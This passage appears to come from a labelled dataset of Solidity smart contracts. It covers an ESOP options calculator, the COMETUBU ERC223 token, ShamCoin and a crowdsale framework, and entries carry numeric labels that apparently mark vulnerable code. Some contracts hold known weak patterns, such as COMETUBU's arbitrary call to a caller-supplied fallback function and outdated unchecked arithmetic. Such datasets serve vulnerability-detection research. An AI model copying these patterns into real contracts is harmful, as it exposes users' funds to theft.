rootOfTrust = pRootOfTrust;
employees = pEmployeesList;
optionsCalculator = pOptionsCalculator;
}
}
contract Migrations is Destructable {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() {
owner = msg.sender;
}
function setCompleted(uint completed) restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
contract OptionsCalculator is Ownable, Destructable, Math, ESOPTypes {
uint public cliffPeriod;
uint public vestingPeriod;
uint public maxFadeoutPromille;
function residualAmountPromille() public constant returns(uint) { return FP_SCALE - maxFadeoutPromille; }
uint public bonusOptionsPromille;
uint public newEmployeePoolPromille;
uint public optionsPerShare;
uint constant public STRIKE_PRICE = 1;
address public companyAddress;
function hasParameters() public constant returns(bool) { return optionsPerShare > 0; }
modifier onlyCompany() {
if (companyAddress != msg.sender)
throw;
_;
}
function calcNewEmployeePoolOptions(uint remainingPoolOptions)
public
constant
returns (uint)
{
return divRound(remainingPoolOptions * newEmployeePoolPromille, FP_SCALE);
}
function calculateVestedOptions(uint t, uint vestingStarts, uint options)
public
constant
returns (uint)
{
if (t <= vestingStarts)
return 0;
uint effectiveTime = t - vestingStarts;
if (effectiveTime < cliffPeriod)
return 0;
else
return effectiveTime < vestingPeriod ? divRound(options * effectiveTime, vestingPeriod) : options;
}
function applyFadeoutToOptions(uint32 t, uint32 issueDate, uint32 terminatedAt, uint options, uint vestedOptions)
public
constant
returns (uint)
{
if (t < terminatedAt)
return vestedOptions;
uint timefromTermination = t - terminatedAt;
uint employmentPeriod = terminatedAt - issueDate;
uint minFadeValue = divRound(options * (FP_SCALE - maxFadeoutPromille), FP_SCALE);
if (minFadeValue >= vestedOptions)
return vestedOptions;
return timefromTermination > employmentPeriod ?
minFadeValue :
(minFadeValue + divRound((vestedOptions - minFadeValue) * (employmentPeriod - timefromTermination), employmentPeriod));
}
function calculateOptionsComponents(uint[9] employee, uint32 calcAtTime, uint32 conversionOfferedAt,
bool disableAcceleratedVesting)
public
constant
returns (uint, uint, uint)
{
Employee memory emp = deserializeEmployee(employee);
if (emp.state == EmployeeState.OptionsExercised || emp.state == EmployeeState.WaitingForSignature)
return (0,0,0);
bool isESOPConverted = conversionOfferedAt > 0 && calcAtTime >= conversionOfferedAt;
uint issuedOptions = emp.poolOptions + emp.extraOptions;
if (issuedOptions == 0)
return (0,0,0);
if (calcAtTime < emp.terminatedAt && emp.terminatedAt > 0)
emp.state = EmployeeState.Employed;
uint vestedOptions = issuedOptions;
bool accelerateVesting = isESOPConverted && emp.state == EmployeeState.Employed && !disableAcceleratedVesting;
if (!accelerateVesting) {
uint32 calcVestingAt = emp.state ==
EmployeeState.Terminated ? emp.terminatedAt :
(emp.suspendedAt > 0 && emp.suspendedAt < calcAtTime ? emp.suspendedAt :
conversionOfferedAt > 0 ? conversionOfferedAt :
calcAtTime);
vestedOptions = calculateVestedOptions(calcVestingAt, emp.issueDate, issuedOptions);
}
if (emp.state == EmployeeState.Terminated) {
vestedOptions = applyFadeoutToOptions(isESOPConverted ? conversionOfferedAt : calcAtTime,
emp.issueDate, emp.terminatedAt, issuedOptions, vestedOptions);
}
var (vestedPoolOptions, vestedExtraOptions) = extractVestedOptionsComponents(emp.poolOptions, emp.extraOptions, vestedOptions);
return (vestedPoolOptions, vestedExtraOptions,
accelerateVesting ? divRound(vestedPoolOptions*bonusOptionsPromille, FP_SCALE) : 0 );
}
function calculateOptions(uint[9] employee, uint32 calcAtTime, uint32 conversionOfferedAt, bool disableAcceleratedVesting)
public
constant
returns (uint)
{
var (vestedPoolOptions, vestedExtraOptions, bonus) = calculateOptionsComponents(employee, calcAtTime,
conversionOfferedAt, disableAcceleratedVesting);
return vestedPoolOptions + vestedExtraOptions + bonus;
}
function extractVestedOptionsComponents(uint issuedPoolOptions, uint issuedExtraOptions, uint vestedOptions)
public
constant
returns (uint, uint)
{
if (issuedExtraOptions == 0)
return (vestedOptions, 0);
uint poolOptions = divRound(issuedPoolOptions*vestedOptions, issuedPoolOptions + issuedExtraOptions);
return (poolOptions, vestedOptions - poolOptions);
}
function calculateFadeoutToPool(uint32 t, uint[9] employee)
public
constant
returns (uint, uint)
{
Employee memory emp = deserializeEmployee(employee);
uint vestedOptions = calculateVestedOptions(emp.terminatedAt, emp.issueDate, emp.poolOptions);
uint returnedPoolOptions = applyFadeoutToOptions(emp.fadeoutStarts, emp.issueDate, emp.terminatedAt, emp.poolOptions, vestedOptions) -
applyFadeoutToOptions(t, emp.issueDate, emp.terminatedAt, emp.poolOptions, vestedOptions);
uint vestedExtraOptions = calculateVestedOptions(emp.terminatedAt, emp.issueDate, emp.extraOptions);
uint returnedExtraOptions = applyFadeoutToOptions(emp.fadeoutStarts, emp.issueDate, emp.terminatedAt, emp.extraOptions, vestedExtraOptions) -
applyFadeoutToOptions(t, emp.issueDate, emp.terminatedAt, emp.extraOptions, vestedExtraOptions);
return (returnedPoolOptions, returnedExtraOptions);
}
function simulateOptions(uint32 issueDate, uint32 terminatedAt, uint32 poolOptions,
uint32 extraOptions, uint32 suspendedAt, uint8 employeeState, uint32 calcAtTime)
public
constant
returns (uint)
{
Employee memory emp = Employee({issueDate: issueDate, terminatedAt: terminatedAt,
poolOptions: poolOptions, extraOptions: extraOptions, state: EmployeeState(employeeState),
timeToSign: issueDate+2 weeks, fadeoutStarts: terminatedAt, suspendedAt: suspendedAt,
idx:1});
return calculateOptions(serializeEmployee(emp), calcAtTime, 0, false);
}
function setParameters(uint32 pCliffPeriod, uint32 pVestingPeriod, uint32 pResidualAmountPromille,
uint32 pBonusOptionsPromille, uint32 pNewEmployeePoolPromille, uint32 pOptionsPerShare)
external
onlyCompany
{
if (pResidualAmountPromille > FP_SCALE || pBonusOptionsPromille > FP_SCALE || pNewEmployeePoolPromille > FP_SCALE
|| pOptionsPerShare == 0)
throw;
if (pCliffPeriod > pVestingPeriod)
throw;
if (hasParameters())
throw;
cliffPeriod = pCliffPeriod;
vestingPeriod = pVestingPeriod;
maxFadeoutPromille = FP_SCALE - pResidualAmountPromille;
bonusOptionsPromille = pBonusOptionsPromille;
newEmployeePoolPromille = pNewEmployeePoolPromille;
optionsPerShare = pOptionsPerShare;
}
function OptionsCalculator(address pCompanyAddress) {
companyAddress = pCompanyAddress;
}
}
contract ProceedsOptionsConverter is Ownable, ERC20OptionsConverter {
mapping (address => uint) internal withdrawals;
uint[] internal payouts;
function makePayout() converted payable onlyOwner public {
if (msg.value < 1 ether)
throw;
payouts.push(msg.value);
}
function withdraw() converted public returns (uint) {
uint balance = balanceOf(msg.sender);
if (balance == 0)
return 0;
uint paymentId = withdrawals[msg.sender];
if (paymentId == payouts.length)
return 0;
uint payout = 0;
for (uint i = paymentId; i<payouts.length; i++) {
uint thisPayout = divRound(safeMul(payouts[i], balance), totalSupply);
payout += thisPayout;
}
withdrawals[msg.sender] = payouts.length;
if (payout > 0) {
if ( absDiff(this.balance, payout) < 1000 wei )
payout = this.balance;
if (!msg.sender.send(payout))
throw;
}
return payout;
}
function transfer(address _to, uint _value) public converted {
if (withdrawals[_to] > 0 || withdrawals[msg.sender] > 0)
throw;
ERC20OptionsConverter.transfer(_to, _value);
}
function ProceedsOptionsConverter(address esop, uint32 exerciseDeadline, uint32 conversionDeadline)
ERC20OptionsConverter(esop, exerciseDeadline, conversionDeadline)
{
}
}
contract RoT is Ownable {
address public ESOPAddress;
event ESOPAndCompanySet(address ESOPAddress, address companyAddress);
function setESOP(address ESOP, address company) public onlyOwner {
ESOPAddress = ESOP;
transferOwnership(company);
ESOPAndCompanySet(ESOP, company);
}
function killOnUnsupportedFork() public onlyOwner {
delete ESOPAddress;
selfdestruct(owner);
}
} | 0 | 2,029 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract COMETUBU is ERC223, Ownable {
using SafeMath for uint256;
string public name = "COMETUBU";
string public symbol = "TUBU";
uint8 public decimals = 0;
uint256 public totalSupply = 88e8 * 1e0;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function COMETUBU() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e0);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
} | 1 | 2,661 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ShamCoin {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ShamCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,158 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * tokenAmount;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
